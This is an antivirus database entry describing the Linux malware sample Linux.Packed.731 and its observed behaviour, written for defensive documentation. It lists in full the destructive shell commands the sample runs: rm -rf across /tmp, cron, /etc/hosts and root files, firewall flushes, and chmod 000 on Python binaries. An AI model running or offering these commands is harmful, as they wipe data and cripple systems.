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Linux.Packed.731

Added to the Dr.Web virus database: 2020-02-25

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • -1
  • 69
  • rcqqjn
Modifies firewall settings:
  • iptables -I INPUT -s 178.170.189.0/24 -j DROP
  • iptables -F
  • iptables -I INPUT -s 91.215.168.0/22 -j DROP
  • iptables -I INPUT -s 45.141.84.0/22 -j DROP
  • iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string pastebin.com -j DROP
Manages services:
  • systemctl stop systemd-timesyncd
Launches processes:
  • sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; rm -rf /etc/sysupdate ; rm -rf /etc/sysguard ; rm -rf /etc/update.sh ; rm -rf /etc/networkservice ; rm -rf /etc/sysr.sh ; rm -rf /etc/syscb ; rm -rf /etc/sysnpmc ; rm -rf /etc/httpdz ; rm -rf /etc/hos* ; rm -rf /etc/migrations ; rm -rf /etc/initdz ; >/dev/null 2>/dev/null
  • rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
  • sh -c rm -rf /etc/hos* ; crontab -r ; rm -rf /bin/.ht* ; rm -rf /usr/bin/.sshd* ; rm -rf /bin/.sysl* ; rm -rf /etc/sta* ; rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /lib64/liblzma* ; rm -rf /lib64/libaio* ; rm -rf /usr/sbin/rpcio* ; rm -rf /usr/sbin/config.* ; >/dev/null 2>/dev/null
  • sh -c systemctl stop systemd-timesyncd ; systemctl disable systemd-timesyncd ; >/dev/null 2>/dev/null
  • sh -c iptables -F ; iptables-save ; >/dev/null 2>&1
  • sh -c
  • rm -rf /etc/host.conf /etc/hostname /etc/hosts /etc/hosts.allow /etc/hosts.deny
  • crontab -r
  • rm -rf /bin/.ht*
  • rm -rf /usr/bin/.sshd*
  • sh -c echo \"nameserver 8.8.8.8\" >> /etc/resolv.conf ; >/dev/null 2>&1
  • rm -rf /bin/.sysl*
  • rm -rf /etc/staff-group-for-usr-local
  • rm -rf /usr/sbin/crond
  • iptables-save
  • chmod 000 /usr/bin/py3clean /usr/bin/py3compile /usr/bin/py3versions /usr/bin/pybuild /usr/bin/pyclean /usr/bin/pycompile /usr/bin/pydoc /usr/bin/pydoc2.7 /usr/bin/pydoc3 /usr/bin/pydoc3.4 /usr/bin/pygettext /usr/bin/pygettext2.7 /usr/bin/pygettext3 /usr/bin/pygettext3.4 /usr/bin/pygmentize /usr/bin/python /usr/bin/python-config /usr/bin/python2 /usr/bin/python2-config /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /usr/bin/python3m /usr/bin/pythontex /usr/bin/pythontex3 /usr/bin/pyversions
  • sh -c /root/glfbfn
  • sh -c /root/mwoton
  • /root/mwoton
  • sh -c crontab -r ; rm -rf $HOME/.* ; rm -rf /var/run/* ; rm -rf /home/je*/.ba* ; rm -rf ../temp/* ; rm -rf ../logs/* ; rm -rf temp/* ; rm -rf logs/* ; rm -rf /dev/shm/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; chattr -R -i /tmp/* ; chattr -R -i /etc/cro*/* ; rm -rf /etc/cro*/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /usr/local/sbin/* ; rm -rf /var/tmp/* ; rm -rf /etc/sys* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kw* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>/dev/null
  • rm -rf /root/. /root/.. /root/.bash_history /root/.bashrc /root/.profile
Kills system processes:
  • sshd
Kills the following processes:
  • run.sh
  • bash
  • (sd-pam)
  • acpid
  • cron
  • systemd
  • <SAMPLE>
  • /bin/sh
  • /bin/chmod
  • systemd-logind
  • systemd-journal
  • kworker/u2:1
  • systemd-cgroups
Performs operations with the file system:
Modifies file access rights:
  • /usr/bin/wget
  • /dev/urandom
  • /usr/bin/perl
  • /usr/bin/python3.4
  • /usr/bin/python2.7
  • /usr/bin/mawk
  • /usr/bin/xargs
  • /bin/sed
  • /usr/bin/crontab
  • /usr/bin/py3clean
  • /usr/bin/py3compile
  • /usr/share/python3/py3versions.py
  • /usr/share/dh-python/pybuild
  • /usr/bin/pyclean
  • /usr/bin/pycompile
  • /usr/bin/pydoc2.7
  • /usr/bin/pydoc3.4
  • /usr/bin/pygettext2.7
  • /usr/bin/pygettext3.4
  • /usr/bin/pygmentize
  • /usr/bin/x86_64-linux-gnu-python2.7-config
  • /usr/bin/python3.4m
  • /root/glfbfn
  • /usr/local/sbin
  • /usr/local/bin
  • /root/mwoton
Creates folders:
  • /var/tmp/kinsing
  • /tmp/hehe
  • /tmp/.db
  • /tmp/.soloc
  • /var/tmp/.soloc
  • /tmp/.ICEd-unix
  • /tmp/kdevtmpfsi
  • /var/tmp/kdevtmpfsi
Deletes folders:
  • /usr/local/sbin/
  • /usr/local/bin/
  • /var/spool/cron/
Creates or modifies files:
  • /etc/resolv.conf
  • /root/glfbfn
  • /root/mwoton
  • /root/nwkl
Deletes files:
  • /etc/host.conf
  • /etc/hostname
  • /etc/hosts
  • /etc/hosts.allow
  • /etc/hosts.deny
  • /bin/.ht*
  • /usr/bin/.sshd*
  • /bin/.sysl*
  • /etc/staff-group-for-usr-local
  • /usr/sbin/crond
  • /usr/bin/perl
  • /root/.bash_history
Network activity:
Establishes connection:
  • [:##]:53
  • 127.0.0.1:53
HTTP GET requests:
  • 16#.###.104.230/c/cf
  • 19#.###.53.225/c/dkkkr

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